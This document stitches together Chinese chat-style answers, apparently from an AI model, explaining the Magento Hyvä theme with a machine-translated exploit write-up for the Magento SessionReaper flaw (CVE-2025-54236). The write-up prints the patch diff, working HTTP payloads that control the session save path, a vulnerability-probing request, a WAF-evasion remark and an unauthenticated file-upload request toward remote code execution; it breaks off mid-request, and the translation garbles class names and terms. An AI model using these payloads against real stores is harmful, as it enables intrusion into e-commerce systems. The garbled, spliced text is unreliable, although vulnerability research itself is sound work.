Hyvä是不是只对功能简单的项目有用。如果是功能复杂 第三方插件多的项目 就会有很多bug

这是一个非常成熟、也非常现实的问题。结论我先给你,然后把“为什么”讲透,不偏向 Hyvä 的营销说法。


先给结论(直接拍板用)

Hyvä 并不是“只适合简单项目”。
但:第三方前端耦合越重、历史越久的项目,Hyvä 的“迁移成本和适配工作”确实越高。

Bug 多不多,不取决于功能复杂度,而取决于:
👉 有多少功能“把 JS/UI 写死在 Luma/Knockout/RequireJS 上”。


一、一个最重要的澄清(很多人误解)

❌ “功能复杂 = Hyvä 不适合”
❌ “插件多 = Hyvä 一堆 bug”

👉 真正决定 Hyvä 难度的不是“功能”,而是“前端耦合方式”。


二、Hyvä 的“极简”到底简在哪里?(不会简掉功能)

Hyvä 简的是前端技术栈,不是业务能力:

层级 是否被 Hyvä 改动
产品 / 价格 / 库存 / 促销 ❌ 不动
订单 / 支付 / 税 / ERP ❌ 不动
Admin / 后端逻辑 ❌ 不动
前台渲染方式 ✅ 重写
前台交互 JS ✅ 重写

👉 所以:

“复杂电商功能”本身不会因为 Hyvä 变复杂或不稳定


三、那为什么大家会说“插件多 = Hyvä 风险大”?

因为 很多 Magento 插件“偷偷假设你在用 Luma”

典型第三方插件的问题模式

❌ 1️⃣ 插件直接输出 Knockout / requirejs 组件

例如:

  • 前台价格刷新
  • Ajax Layered Navigation
  • Popup / Slider
  • 前台 form validation

这些插件往往:

  • JS 写死在模板里
  • 依赖 x-magento-init
  • 假设 requirejs 存在

👉 Hyvä 不支持这些前端实现,需要“换一种前端写法”


❌ 2️⃣ 插件把“业务逻辑写在前端”

例如:

  • 前端算价格
  • 前端算折扣
  • 前端控制库存展示

这种插件在 Hyvä 下会暴露问题:

👉 正确逻辑应该在后端
👉 Hyvä 只是让问题更早暴露


❌ 3️⃣ 插件没有前后端分层

好插件:

  • 后端算逻辑
  • 前端只展示

差插件:

  • 后端给半成品
  • 前端 JS 拼业务

👉 Hyvä 对“差插件”不友好。


四、什么样的“复杂项目”反而特别适合 Hyvä?

这是反直觉的地方。

✅ 复杂但架构干净的项目 → 很适合 Hyvä

例如:

  • 大量 SKU
  • 多仓、多价格规则
  • 多语言、多站点
  • ERP / OMS / CRM 深度集成
  • 前端交互其实并不花哨

👉 这些项目 前端逻辑不复杂,后端很复杂
👉 Hyvä 非常合适


❌ 功能看似不复杂,但前端插件堆满 → Hyvä 成本高

例如:

  • 各种 slider / popup / 前端过滤
  • 多套 Ajax 搜索
  • 各种营销小组件
  • 历史插件多年叠加

👉 这种项目:

  • 在 Luma 下“凑合能跑”
  • 在 Hyvä 下必须“理一遍前端”

五、Hyvä 社区怎么解决“插件多”的问题?

1️⃣ 官方 Hyvä Compatibility Modules

Hyvä 官方维护了一批 常用插件的兼容模块,例如:

  • Amasty
  • Mageplaza(部分)
  • Smile Elasticsuite(部分)
  • Klarna / Stripe / PayPal(前台)

👉 这些插件 不用你自己重写


2️⃣ 插件厂商开始“原生支持 Hyvä”

这是近两年最大的变化:

  • 越来越多插件直接提供:
    • hyva 目录
    • Alpine.js 模板
  • 新插件默认考虑 Hyvä

👉 生态在变,不是你一个人踩坑。


3️⃣ 自己写 Hyvä Adapter(推荐做法)

对你们内部自研模块:

  • 后端逻辑完全不动
  • 只重写:
    • template
    • JS 交互(Alpine)
  • 成本远低于重写整个模块

六、真实项目经验结论(不吹不黑)

项目类型 Hyvä 结果
插件少 / 架构清晰 非常顺
插件多但主流厂商 可控(有兼容模块)
插件多 + 老旧 + 魔改 成本高,但可做
前端业务逻辑堆积 Hyvä 会逼你重构

👉 Hyvä 不是制造 bug,而是“逼你面对前端技术债”。


七、一个非常实用的判断方法(给你用)

你可以用这 5 个问题快速判断你们项目:

1️⃣ 有多少插件在前台输出大量 JS?
2️⃣ 有多少插件依赖 Knockout / requirejs?
3️⃣ 前端是否承担了“业务计算”?
4️⃣ 是否愿意花时间清理前端技术债?
5️⃣ 性能 / SEO 是否是当前的核心痛点?

如果 3 个以上回答是 YES → Hyvä 值得
如果几乎全是 NO → 继续 Luma 也没问题


八、一句“成熟结论”

**Hyvä 并不是“只适合简单项目”,
而是“更适合架构清晰、愿意长期维护的项目”。

插件多不会天然导致 bug,
但会决定你需要做多少“前端适配工作”。**


如果你愿意,下一步我可以:

  • 🧩 帮你 按插件清单评估 Hyvä 迁移风险(低/中/高)
  • 🧩 告诉你 哪些插件是 Hyvä 红区,哪些是绿区
  • 🧩 给你一套 “先上 Hyvä、再逐步适配插件”的落地路线

你只要贴一下:
👉 你现在最核心的 5–10 个前端插件名称

这是个很专业、问到本质的问题。我不讲营销话术,直接从 Magento 底层机制 + 前端执行模型 给你拆清楚:


一句话先给“底层结论”

Hyvä 并不是“魔法加速器”,而是:
把 Magento 前台里「最拖慢性能的那一整套东西」彻底拿掉,只保留真正必要的渲染与交互。

性能起飞不是“优化”,而是 架构级减负


一、Magento 原生前台(Luma)的性能瓶颈在哪里?

先理解 Hyvä 为什么快,必须先知道 Luma 为什么慢

1️⃣ Luma 的真实技术栈(问题根源)

Magento 2 默认前台(Luma)依赖:

  • RequireJS(模块加载器)
  • Knockout.js(MVVM)
  • jQuery
  • UI Components(JS 驱动)
  • 巨量 x-magento-init
  • 多层 mixins
  • 动态 JS 渲染 DOM

👉 这套东西在 2016 年是先进的,但现在是:

JS-heavy + Client-side render + 强依赖执行顺序


2️⃣ Luma 的“慢”不是单点,而是叠加效应

页面加载时真实发生的事:

  1. 浏览器下载 HTML(不完整)
  2. 加载 require.js
  3. require.js 解析几十上百个 JS 依赖
  4. Knockout 初始化 bindings
  5. JS 再生成 DOM / 更新 DOM
  6. CSS 阻塞渲染
  7. JS 执行时间很长(TTI 高)

👉 Lighthouse 里你看到的:

  • JS execution time 高
  • Main thread blocked
  • TTI 很晚

不是“某个 JS 慢”,而是整套模型慢。


二、Hyvä 的原理是什么?(核心)

核心原则一句话:

“能用 HTML + CSS 解决的,绝不用 JS;
能在服务端渲染的,绝不放到浏览器。”


三、Hyvä 重写了什么?(重点)

1️⃣ 前端框架:彻底移除 RequireJS / Knockout

Hyvä 做的第一件事就是:

❌ 不用 RequireJS
❌ 不用 Knockout
❌ 不用 jQuery

改用:

✅ 原生 Magento PHP 模板渲染(.phtml)
✅ Alpine.js(极轻量)做交互
✅ 原生浏览器能力(事件 / CSS / HTML)

👉 Alpine.js 本质是:

  • “HTML 增强器”
  • 几 KB
  • 不做复杂状态管理

2️⃣ UI Component → HTML + PHP

在 Luma 里,很多东西是 JS UI Component:

  • minicart
  • messages
  • toggles
  • tabs
  • dropdown
  • validation

Hyvä 的做法是:

  • 90% 直接用 PHP 输出完整 HTML
  • JS 只做:
    • show / hide
    • toggle
    • fetch(必要时)

👉 DOM 一次生成完成,不等 JS。


3️⃣ CSS:Tailwind,解决“CSS 体积 & 阻塞”

Luma 的 CSS 问题:

  • 巨大的 LESS
  • 很多无用样式
  • 阻塞渲染

Hyvä:

  • 用 Tailwind
  • 按需生成 CSS
  • 几乎没有“没用的 CSS”

👉 CSS 文件体积骤减,首屏渲染更早开始


4️⃣ JS 执行模型完全不同(关键)

Luma:

  • JS = 页面结构的一部分
  • 页面“靠 JS 活着”

Hyvä:

  • JS = 装饰层(enhancement)
  • 页面“没有 JS 也能用”

这就是性能差距的本质。


四、为什么 Hyvä 会让前台性能“起飞”?

不是一个原因,是 5 个效应叠加


🚀 原因 1:JS 体积直接砍掉 70%–90%

  • 不加载 require.js
  • 不加载 Knockout
  • 不加载大量 UI JS

👉 JS 下载 + 解析 + 执行 全部下降。


🚀 原因 2:首屏 HTML 是“完整的”

  • Luma:HTML 是骨架
  • Hyvä:HTML 是最终形态

👉 浏览器一拿到 HTML 就能画页面
👉 TTFB → FCP → LCP 连续完成


🚀 原因 3:主线程几乎不被 JS 阻塞

  • Alpine.js 的 JS 执行时间极短
  • 不存在复杂依赖树

👉 Lighthouse 的 “Main thread work” 会明显下降。


🚀 原因 4:CSS 更轻、更快生效

  • 少量、精准 CSS
  • 不等 JS 初始化

👉 FCP/LCP 明显提前。


🚀 原因 5:浏览器原生能力被充分利用

Hyvä 倾向用:

  • CSS hover / focus
  • <details>/<summary>
  • 原生表单校验
  • IntersectionObserver(少量)

👉 减少 JS = 减少性能风险。


五、Hyvä 到底“重写了哪些东西”?(实话)

Hyvä 重写的是:

  • 前台主题(templates / layout / CSS / JS)
  • 前台交互模式
  • 前台 JS 架构

Hyvä 没有重写的是:

  • Magento 后端
  • Catalog / Price / Promotion 逻辑
  • Checkout(核心流程)
  • API / GraphQL
  • Admin

👉 所以:

  • 后端稳定
  • 迁移成本可控
  • 不是推倒重来

六、为什么 Hyvä 不会“慢慢变回 Luma 那样”?

因为它结构性避免了 JS 膨胀

  • 没有 UI Component 机制
  • 没有 requirejs 依赖地狱
  • 不鼓励 JS 驱动 DOM

👉 除非你自己硬往里塞重 JS,否则不会退化。


七、现实项目里的性能差距(常见)

在真实 Magento 项目中常见结果是:

指标 Luma Hyvä
JS 体积 600KB–1MB+ 50–150KB
FCP 2.5–4s <1.5s
LCP 3–6s <2s
TTI 5–10s <3s
Lighthouse Performance 30–60 80–95

八、给你一句“架构级总结”

Hyvä 快,不是因为“优化得好”,
而是因为它把 Magento 前台最慢的那一整套架构换掉了。


如果你愿意,下一步我可以:

  • 🧩 对比 你当前前台 vs Hyvä 的“真实改动成本”
  • 🧩 告诉你 哪些第三方模块在 Hyvä 下最容易/最难适配
  • 🧩 给你一个 Hyvä 是否适合你这个项目的判断清单

你只要说一句:
👉「帮我评估是否适合 Hyvä」。

https://demo.hyva.io/

eaa5b95ef90ed47f2c0fe7e603db1e7f.png

这是个很关键、也经常被误解的问题。我直接给你一个不营销、不站队、从 Magento 实战角度的解释。


一句话先给结论

Hyvä 不是 PWA,也不是替代 PWA 的技术。
Hyvä 是一个“极度精简、性能优先”的 Magento 前端主题架构。
PWA 是一套“前后端彻底分离”的应用架构。

它们解决的是完全不同层级的问题


一、Hyvä 是什么?(说人话)

Hyvä = 给 Magento 换一套“更轻、更现代”的前端主题体系

它的核心思想是:

把 Magento 前台从“JS 地狱 + RequireJS + Knockout”里救出来

Hyvä 的技术栈(关键)

  • ❌ 不用 RequireJS
  • ❌ 不用 Knockout
  • ❌ 不用 jQuery
  • ✅ 用 Alpine.js(轻量交互)
  • ✅ 用 Tailwind CSS
  • ✅ 极少 JavaScript
  • ✅ 完全兼容 Magento 后端(Catalog / Checkout / Admin 不变)

👉 本质:
Hyvä = 传统 Magento 前台的一次“瘦身重写”


二、PWA 是什么?(Magento 语境下)

Magento PWA(PWA Studio)= 前后端分离应用

特点:

  • 前端:React / Vue
  • 后端:Magento 只作为 API(GraphQL)
  • 浏览器体验接近 App
  • 支持:
    • 离线
    • 安装到桌面
    • Service Worker
  • 架构复杂、开发成本高

👉 本质:
PWA = Magento 变成“电商后端 API”


三、Hyvä vs PWA:核心区别(重点表)

维度 Hyvä PWA
架构 传统主题(单体) 前后端分离
是否用 Magento 原生渲染 ✅ 是 ❌ 否
JS 复杂度 极低 很高
性能 非常快 快(但依赖实现)
SEO 天然好 需要额外处理
开发成本
上线周期
第三方模块兼容 ❌ 需适配 ❌ 基本全要重写
适合谁 90% 商业站 特殊场景

四、为什么现在 Hyvä 在 Magento 圈子里很火?

1️⃣ Magento 原生 Luma 前台已经“被放弃”

现实情况是:

  • Luma 重
  • RequireJS + Knockout 老旧
  • 前台性能差
  • SEO / Core Web Vitals 难搞

👉 社区普遍共识:Luma 不适合现代电商


2️⃣ Hyvä 是“最小成本换最大收益”

对企业来说:

  • 不改后端
  • 不改 checkout 逻辑
  • 不改 ERP / OMS / Payment
  • 前台性能直接起飞

👉 ROI 极高


3️⃣ PWA 对大多数商家来说“太重了”

PWA 的真实成本是:

  • 前后端两套团队
  • GraphQL 全链路维护
  • 第三方模块全部重写
  • SEO / 缓存 / SSR 持续投入

👉 很多项目最终放弃或半途而废


五、Hyvä 和 PWA 的“真实适用场景”

✅ 适合 Hyvä 的场景(非常多)

  • 传统 B2C 电商
  • 追求性能 / SEO
  • 希望快速上线
  • 预算可控
  • 依赖大量 Magento 模块(支付、促销、ERP)

👉 这是现在 Magento 商业项目的主流选择


⚠️ 适合 PWA 的场景(少)

  • 强 App 化体验(像 Shopee / Lazada)
  • 离线 / 推送是核心
  • 有前端团队
  • 有长期维护预算
  • 不依赖 Magento 前台生态

👉 这是“技术驱动型公司”的选择


六、一个常见误解(必须澄清)

❌ “Hyvä 是 PWA 的平替”
❌ “Hyvä 也能离线 / 安装 App”

都不对。

Hyvä:

  • 还是网页
  • 不提供 Service Worker
  • 不做 App 能力

如果你想:

  • 性能 + SEO + 稳定上线 → Hyvä
  • App 化 + 前后端解耦 → PWA

七、给你一句“能拍板的总结”

**Hyvä 是“把 Magento 前台做对了”;
PWA 是“换了一种玩法”。

现在 Hyvä 流行,是因为它用最小代价解决了 Magento 前台最大的痛点。**


八、如果你愿意,我可以继续帮你判断

你可以直接告诉我:

  • 你现在用的是 Luma / 自定义主题 / PWA
  • 站点规模(SKU、流量)
  • 是否依赖很多第三方模块
  • 目标是 性能 / SEO / 体验 / 可维护性

我可以直接告诉你:
👉 你这个项目适不适合 Hyvä,值不值得上。

Magento 仍然是互联网上最流行的电子商务解决方案之一,据估计有超过 13 万个网站在使用它。Adobe 也以 Adobe Commerce 的名义提供企业版 Magento,该版本可自动更新补丁。
另一个关键漏洞Magento/Adobe Commerce 已发布漏洞公告:CVE-2025-54236,又称 SessionReaper。Adobe 将此问题描述为“安全功能绕过”,在发布公告时尚无公开的概念验证。该漏洞由 [此处应填写漏洞发现者姓名] 发现。Blaklis并通过以下方式宣布Sansec
尽管 Adobe 对此问题的重视程度有所降低,但我们认为这是一个非常严重的漏洞。在使用基于文件的会话存储的实例中,未经身份验证的用户很容易就能远程执行代码。不使用基于文件的会话存储的实例(例如使用 Redis 的实例)也可能存在此漏洞。本文将探讨利用此漏洞所需的步骤和前提条件。

Patch analysis

为了了解问题的真正所在,我们仔细研究了……Adobe 的补丁该补丁主要改变 API 端点接收的输入的类型反序列化工作方式。
diff --git a/vendor/magento/framework/Webapi/ServiceInputProcessor.php b/vendor/magento/framework/Webapi/ServiceInputProcessor.php
index ba58dc2bc7acf..06919af36d2eb 100644
--- a/vendor/magento/framework/Webapi/ServiceInputProcessor.php
+++ b/vendor/magento/framework/Webapi/ServiceInputProcessor.php
@@ -246,6 +246,13 @@ private function getConstructorData(string $className, array $data): array
             if (isset($data[$parameter->getName()])) {
                 $parameterType = $this->typeProcessor->getParamType($parameter);

               // Allow only simple types or Api Data Objects
               if (!($this->typeProcessor->isTypeSimple($parameterType)
                   || preg_match('~\\?\w+\\\w+\\Api\\Data\\~', $parameterType) === 1
               )) {
                   continue;
               }
+
                 try {
                     $res[$parameter->getName()] = $this->convertValue($data[$parameter->getName()], $parameterType);
                 } catch (\ReflectionException $e) {
在这个补丁中,他们将构造函数中可以实例化的类型限制为“简单”类型(字符串、整数、浮点数、双精度浮点数和布尔值)以及名称符合特定模式的类型,例如 int MagentoTaxApiDataTaxRateInterface。考虑到这一点,我们知道我们要寻找的是复杂类型,例如 ` MagentoFrameworkSimplexmlElementint`和 `boolean`。之前Magento的关键漏洞
来自 SanSec 的建议 声明指出,利用该漏洞需要基于文件的会话存储,因此我们无法使用相同的存储方式。 Magento Docker 仓库 和上次一样。这次,我们从 GitHub 安装了纯净版的 Magento 2.4,并将其部署在 Ubuntu 虚拟机上。公开指南有了可用的环境,我们就可以开始寻找漏洞了。
简单回顾一下,Magento 的反序列化机制是一套复杂的自定义代码。该类MagentoFrameworkWebapiServiceInputProcessor包含了大部分逻辑,它接收一个嵌套的 PHP 数组对象,并将其转换为目标类。为此,反序列化器会递归地检查对象的可设置字段,并将输入数组映射到相应的类型。
设置对象字段有两种方法:
  • 使用类型化参数作为构造函数参数,或者
  • 使用对象的公共 setter 函数(例如public function setBlah(Blah $blah)
protected function _createFromArray($className, $data)
{
    ...
    // 1. Set using the constructor
    $constructorArgs = $this->getConstructorData($className, $data);
    $object = $this->objectManager->create($className, $constructorArgs);

    // 2. Set using public setters
    foreach ($data as $propertyName => $value) {
        if (isset($constructorArgs[$propertyName])) {
            continue;
        }

        $camelCaseProperty = SimpleDataObjectConverter::snakeCaseToUpperCamelCase($propertyName);
        try {
            $methodName = $this->getNameFinder()->getGetterMethodName($class, $camelCaseProperty);
            ...
            if ($methodReflection->isPublic()) {
                $returnType = $this->typeProcessor->getGetterReturnType($methodReflection)['type'];
                try {
                    $setterName = $this->getNameFinder()->getSetterMethodName($class, $camelCaseProperty); // 2.
                } catch (\Exception $e) {
                    ...
                }
                ...
                $this->serviceInputValidator->validateEntityValue($object, $propertyName, $setterValue);
                $object->{$setterName}($setterValue);
            }
        } catch (\LogicException $e) {
            $this->processInputErrorForNestedSet([$camelCaseProperty]);
        }
    }
    ...
}
不过,我们首先需要确定一些类型。以下是一些示例。Sergey’s notes 在梳理未经身份验证的 API 方法时,我们得出以下几种类型:
  • MagentoQuoteModelQuotePayment
  • MagentoQuoteModelQuoteAddress
  • MagentoQuoteModelQuoteItem
  • MagentoQuoteModelCartTotalsAdditionalData
  • MagentoFrameworkApiSearchCriteria
  • MagentoCheckoutModelShippingInformation
  • MagentoCheckoutModelTotalsInformation
  • MagentoGiftMessageModelMessage
  • MagentoCustomerModelDataCustomer
然而,我们仍然需要一个目标类型来尝试进行链式攻击。鉴于此漏洞名为“SessionReaper”,我们推测它最终会出现在会话处理代码附近。查看代码后,我们MagentoFrameworkSessionSessionManager发现了一些非常有趣的功能:
class SessionManager implements SessionManagerInterface, ResetAfterRequestInterface{
    public function __construct(
        \Magento\Framework\App\Request\Http $request,
        SidResolverInterface $sidResolver,
        ConfigInterface $sessionConfig,
        SaveHandlerInterface $saveHandler,
        ValidatorInterface $validator,
        StorageInterface $storage,
        \Magento\Framework\Stdlib\CookieManagerInterface $cookieManager,
        \Magento\Framework\Stdlib\Cookie\CookieMetadataFactory $cookieMetadataFactory,
        \Magento\Framework\App\State $appState,
        ?SessionStartChecker $sessionStartChecker = null) {
        $this->request = $request;
        $this->sidResolver = $sidResolver;
        $this->sessionConfig = $sessionConfig;
        $this->saveHandler = $saveHandler;
        $this->validator = $validator;
        $this->storage = $storage;
        $this->cookieManager = $cookieManager;
        $this->cookieMetadataFactory = $cookieMetadataFactory;
        $this->appState = $appState;
        $this->sessionStartChecker = $sessionStartChecker ?: \Magento\Framework\App\ObjectManager::getInstance()->get(
            SessionStartChecker::class
        );
        $this->start();
    }

    public function start()
    {
        if ($this->sessionStartChecker->check()) {
            if (!$this->isSessionExists()) {
                ...
                $this->initIniOptions();
                $this->registerSaveHandler();
                ...
                session_start();
                ...
                $this->validator->validate($this);
                ...
            } else {
                $this->validator->validate($this);
            }
            $this->storage->init(isset($_SESSION) ? $_SESSION : []);
        }
        return $this;
    }

    private function initIniOptions()
    {
        ...
        foreach ($this->sessionConfig->getOptions() as $option => $value) {
            if ($option === 'session.save_handler' && $value !== 'memcached') {
                continue;
            } else {
                $result = ini_set($option, $value);
                ...
            }
        }
    }
}

 

通过设置$sessionConfig,我们可以控制传递给的选项ini_set(),其中包括一些非常有趣且敏感的选项MagentoFrameworkSessionConfig并非所有这些选项都可用,还需要检查底层类型。
class Config implements ConfigInterface{
    public function __construct(
        \Magento\Framework\ValidatorFactory $validatorFactory,
        \Magento\Framework\App\Config\ScopeConfigInterface $scopeConfig,
        \Magento\Framework\Stdlib\StringUtils $stringHelper,
        \Magento\Framework\App\RequestInterface $request,
        Filesystem $filesystem,
        DeploymentConfig $deploymentConfig,
        $scopeType,
        $lifetimePath = self::XML_PATH_COOKIE_LIFETIME) {
        ...
        $savePath = $deploymentConfig->get(self::PARAM_SESSION_SAVE_PATH);
        if (!$savePath && !ini_get('session.save_path')) {
            $sessionDir = $filesystem->getDirectoryWrite(DirectoryList::SESSION);
            $savePath = $sessionDir->getAbsolutePath();
            $sessionDir->create();
        }
        if ($savePath) {
            $this->setSavePath($savePath);
        }
        ...
    }

    public function setSavePath($savePath)
    {
        $this->setOption('session.save_path', $savePath);
        return $this;
    }
}
这样我们就可以控制会话的读取路径了!通过$deploymentConfig参数的路径最终会变成一个误导,有点像掉进兔子洞(但也差点儿就用到了远程文件包含——检查一下MagentoFrameworkAppDeploymentConfigReader),但我们可以直接访问setSavePath,因为它是一个公共的设置函数。
我们编写了一个非常粗略的脚本来绘制从源类型到目标类型的链条。由此得到了以下类型链条:
  • MagentoQuoteModelQuotePayment
  • MagentoPaymentHelperData
  • MagentoFrameworkAppHelperContext
  • MagentoFrameworkUrl
  • MagentoFrameworkSessionGeneric
  • MagentoFrameworkSessionSaveHandler
  • MagentoFrameworkSessionConfig
将所有部件组装在一起后,我们发出请求并……
PUT /rest/default/V1/guest-carts/abc/order HTTP/1.1Host: example.com
Accept: application/json
Cookie: PHPSESSID=testing
Connection: close
Content-Type: application/json
Content-Length: 265

{"paymentMethod": {"paymentData": {"context": {"urlBuilder": {"session": {"sessionConfig": {"savePath": "does/not/exist"}}}}}}}
HTTP/1.1 500 Internal Server Error
Date: Mon, 13 Oct 2025 21:05:17 GMT
Server: Apache/2.4.58 (Ubuntu)
Cache-Control: no-store
Content-Length: 104
Connection: close
Content-Type: application/json; charset=utf-8

{"message":"Internal Error. Details are available in Magento log file. Report ID: webapi-68ed6990bd170"}
… 成功?
查看应用程序错误日志可以获得更多信息:
Warning: SessionHandler::read(): open(does/not/exist/sess_testing, O_RDWR) failed: No such file or directory (2)
成功!
值得注意的是,早在2024年,Sergey noted也发现了同样的错误。
Another thing to note is that a save path that doesn’t exist will always cause an internal server error. On patched instances, the application will instead return a 400 Bad Request. This makes it a good payload for determining if a server is vulnerable.
Many other payloads exist, too, for example:
{
  "paymentMethod": {
    "paymentData": {
      "context": {
        "urlDecoder": {
          "urlBuilder": {
            "request": {
              "pathInfoProcessor": {
                "helper": {
                  "backendUrl": {
                    "session": {
                      "sessionConfig": {
                        "savePath": "PATH"
                      }
                    }
                  }
                }
              }
            }
          }
        }
      }
    }
  }
}
会话配置类也可以通过其他类型访问,例如 <session_config_class>MagentoQuoteModelQuoteAddress和 ` <session_config_class> MagentoQuoteModelQuoteItem`。这意味着也可以使用其他 API 端点。将这些与类似 `<session_config_class>` 的工具结合使用,可以更方便地进行配置。nowafpls这意味着绕过可能阻止未修改有效载荷的 WAF 非常容易。
对于基于 Redis 的会话存储,此有效负载将无法工作。MagentoFrameworkSessionSaveHandlerRedis它不会访问本地文件系统,因此需要使用 Redis 特有的数据写入方法。然而,在这种情况下,反序列化链就变得不必要了,因为您可以写入一个具有特定名称的 Redis 键来实现反序列化(这在当前版本的 Magento 中似乎是不可能的)。尽管如此,Magento 中仍有数百个可访问的类,因此可能存在其他方法,例如允许您读取、写入和执行文件。
最后需要注意的是,保存路径可以是相对路径(../)也可以是绝对路径(/var/www/html/)。它相对于pub/网站根目录运行。它不支持 URI(file://例如,、http://等),因此对于完整的有效负载,我们需要某种方式将文件写入磁盘。

未经认证的文件上传

Magento 处理用户输入的方式不仅限于 API 端点。代码库中还包含其他路由,这些路由在routes.xml文件中指定。例如,该文件magento2/app/code/Magento/Customer/etc/frontend/routes.xml包含以下内容:
<?xml version="1.0"?>
<!--
/**
 * Copyright © Magento, Inc. All rights reserved.
 * See COPYING.txt for license details.
 */
-->
<config xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="urn:magento:framework:App/etc/routes.xsd">
    <router id="standard">
        <route id="customer" frontName="customer">
            <module name="Magento_Customer" />
        </route>
    </router>
</config>
此文件中需要注意的重要内容是以下几行:
  • router id="..."它指定了使用的请求路由器类型。有两种类型:“admin”和“standard”。我们感兴趣的是“standard”。
  • route id="...",它指定路由所在的端点。例如,所有 Customer 控制器都位于/customer
  • module name="...",它提供了控制器所在的路径。该值Magento_Customer映射到magento2/app/code/Magento/Customer/,也就是我们最终找到Controller/子文件夹的位置。
在控制器文件夹中翻找时,我们发现了这个有趣的文件:Customer/Controller/Address/File/Upload.php
<?php
...
class Upload extends Action implements HttpPostActionInterface{
    ...
    public function execute()
    {
        try {
            $requestedFiles = $this->getRequest()->getFiles('custom_attributes');
            if (empty($requestedFiles)) {
                $result = $this->processError(__('No files for upload.'));
            } else {
                $attributeCode = key($requestedFiles);
                $attributeMetadata = $this->addressMetadataService->getAttributeMetadata($attributeCode);

                $fileUploader = $this->fileUploaderFactory->create([
                    'attributeMetadata' => $attributeMetadata,
                    'entityTypeCode' => AddressMetadataInterface::ENTITY_TYPE_ADDRESS,
                    'scope' => CustomAttributesDataInterface::CUSTOM_ATTRIBUTES,
                ]);

                $errors = $fileUploader->validate();
                if (true !== $errors) {
                    $errorMessage = implode('</br>', $errors);
                    $result = $this->processError(($errorMessage));
                } else {
                    $result = $fileUploader->upload();
                    $this->moveTmpFileToSuitableFolder($result);
                }
            }
        } catch (...) {
            ...
        }

        $resultJson = $this->resultFactory->create(ResultFactory::TYPE_JSON);
        $resultJson->setData($result);
        return $resultJson;
    }
    /**
     * Move file from temporary folder to the 'customer_address' media folder
     *
     * @param array $fileInfo
     * @throws LocalizedException
     */
    private function moveTmpFileToSuitableFolder(&$fileInfo)
    {
        $fileName = $fileInfo['file'];
        $fileProcessor = $this->fileProcessorFactory
            ->create(['entityTypeCode' => AddressMetadataInterface::ENTITY_TYPE_ADDRESS]);

        $newFilePath = $fileProcessor->moveTemporaryFile($fileName);
        $fileInfo['file'] = $newFilePath;
        $fileInfo['url'] = $fileProcessor->getViewUrl(
            $newFilePath,
            'file'
        );
    }
    ...
}
这是一个未经身份验证的端点,似乎用于处理用户从字段上传的文件custom_attributes,并且不需要任何身份验证。深入研究该类中调用的一些方法,我们发现了一些有趣的限制和验证逻辑。
上传的文件不能带有受保护的扩展名(例如 .php、.html、.xml——app/code/Magento/Store/etc/config.xml完整列表请参见[此处]),但所有其他文件,包括没有扩展名的文件,均被允许上传。需要注意的是,在[此处] $fileProcessor->moveTemporaryFile(),文件名不会被修改,除非文件已存在,此时会在上传的文件名后附加_1_2/// _3etc”。
尽管直觉告诉我们端点应该可以通过 <address> 访问/customer/address/file/upload,但实际上它可以通过 `<address>` 访问/customer/address_file/upload。代入一个必要的form_key参数(可以是任何值,只要它在 cookie 和表单参数中相同即可),我们期望得到一个已上传的文件。
POST /customer/address_file/upload HTTP/1.1
Host: 192.168.198.130
Content-Length: 310
Accept: */*
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryDNFoGI9h3cNjiBCQ
Cookie: form_key=f49TpaNHU56uEgZc
Connection: close

------WebKitFormBoundaryDNFoGI9h3cNjiBCQ
Content-Disposition: form-data; name="form_key"

f49TpaNHU56uEgZc
------WebKitFormBoundaryDNFoGI9h3cNjiBCQ
Content-Disposition: form-data; name="custom_attributes"; filename="test_file"
Content-Type: text/plain

Hello
------WebKitFormBoundaryDNFoGI9h3cNjiBCQ--
但这却导致了以下错误:
{
  "error": "No such entity with entityType = customer_address, attributeCode = name",
  "errorcode": 0
}
当我们按下 ` $attributeCode = key($requestedFiles)and`时会出现此错误getAttributeMetadata($attributeCode)。PHPkey()中的 `get` 函数会获取给定数组中的下一个键,它主要与next()`for` 循环一起使用,用于遍历数组元素。但是,单独使用时,它只会获取数组的第一个键。
插入一个 avar_dump($requestedFiles)可以解释为什么我们最终name得到attributeCode
array(6) {
  ["name"]=>
  string(9) "test_file"
  ["full_path"]=>
  string(9) "test_file"
  ["type"]=>
  string(10) "text/plain"
  ["tmp_name"]=>
  string(14) "/tmp/phpMsGHbm"
  ["error"]=>
  int(0)
  ["size"]=>
  int(5)
}
这让我们困惑了好一会儿。我们该如何通过这个attributeCode检查呢?我们需要name在对象上设置一个名为 `target` 的自定义属性吗?毕竟,这段代码确实暗示了自定义属性的存在。或者我们需要用其他方式指定目标属性?也许我们遗漏了其他更简单的接口?
经过一番尝试和摸索,以及对……的观察底层请求解析器代码我们发现这个问题很容易解决。只需将表单输入名称从 `<input name>` 改为 `< custom_attributesinput custom_attributes[SOME_ATTRIBUTE]array name>`,输入数组的结构就会发生变化,这样我们就可以指定任何我们想要的属性了。
array(1) {
  ["SOME_ATTRIBUTE"]=>
  array(6) {
    ["name"]=>
    string(9) "test_file"
    ["full_path"]=>
    string(9) "test_file"
    ["type"]=>
    string(10) "text/plain"
    ["tmp_name"]=>
    string(14) "/tmp/phpk8FWf6"
    ["error"]=>
    int(0)
    ["size"]=>
    int(5)
  }
}
但是,我们仍然需要一个有效的属性代码。在数据库中查找后,我们找到了一系列内置属性供尝试:
mysql> SELECT attribute_code, frontend_input FROM eav_attribute
    -> WHERE entity_type_id = (
    ->   SELECT entity_type_id FROM eav_entity_type
    ->   WHERE entity_type_code = 'customer_address'
    -> );
+---------------------+----------------+
| attribute_code      | frontend_input |
+---------------------+----------------+
| city                | text           |
| company             | text           |
| country_id          | select         |
| fax                 | text           |
| firstname           | text           |
| lastname            | text           |
| middlename          | text           |
| postcode            | text           |
| prefix              | text           |
| region              | text           |
| region_id           | hidden         |
| street              | multiline      |
| suffix              | text           |
| telephone           | text           |
| vat_id              | text           |
| vat_is_valid        | text           |
| vat_request_date    | text           |
| vat_request_id      | text           |
| vat_request_success | text           |
+---------------------+----------------+
继续往下看,我们很快找到了一个有效的属性:country_id。把它代入表单后,就得到了我们想要的结果。
POST /customer/address_file/upload HTTP/1.1Host: example.com
Content-Length: 647
Accept: */*
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryDNFoGI9h3cNjiBCQ
Cookie: form_key=f49TpaNHU56uEgZc
Connection: close

------WebKitFormBoundaryDNFoGI9h3cNjiBCQ
Content-Disposition: form-data; name="form_key"

f49TpaNHU56uEgZc
